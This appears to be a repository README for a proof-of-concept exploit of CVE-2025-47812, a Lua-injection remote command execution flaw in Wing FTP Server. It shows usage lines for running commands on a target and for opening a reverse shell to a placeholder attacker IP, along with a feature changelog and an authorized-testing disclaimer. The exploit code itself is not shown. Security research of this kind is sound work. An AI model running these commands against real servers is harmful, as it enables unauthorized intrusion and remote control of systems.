
Remote Command Execution exploit for Wing FTP Server (CVE-2025-47812)
This repository provides a proof-of-concept exploit for CVE-2025-47812, a remote command execution (RCE) vulnerability in Wing FTP Server. An attacker can inject and execute arbitrary Lua-based system commands by abusing the username parameter during authentication, resulting in full remote code execution.
found_uids.txtExecute a simple shell command:
python3 CVE-2025-47812.py --url http://target:5466 --cmd "id"
Trigger a reverse shell:
python3 CVE-2025-47812.py --url http://target:5466 --reverse --ip YOUR_IP --port 4444
Dry-run mode (no requests will be sent):
python3 CVE-2025-47812.py --url http://target:5466 --cmd "whoami" --dry-run
This project is intended for educational and authorized security testing only.
Do not use this tool against systems you do not own or have explicit permission to test.
| Feature/Improvement | Description |
|---|
| ✅ Argument Parsing | Added argparse CLI support for non-interactive mode |
| 🔐 Input Validation | Ensures valid URL/IP/port before attempting exploit |
| 📦 Header Refactoring | Extracted HTTP headers into a reusable function for consistency |
| 📄 UID Logging | Saves successful UID tokens to found_uids.txt |
| 🧪 Dry-Run Mode | Allows safe testing without sending requests (--dry-run) |
| 🕒 Timeout + Retries | Adds request timeout and automatic retry attempts on failure |
| 🧼 Payload Readability | Reformatted the Lua injection string for clarity and maintenance |
| 📊 Structured Output | Wrapped server responses and payload info with delimiters for easy reading |
| ⚠️ Status Code Checks | Warns user if the target returns unexpected HTTP status codes |
| 📝 Logging System | Replaces print() with Python logging module for better verbosity control |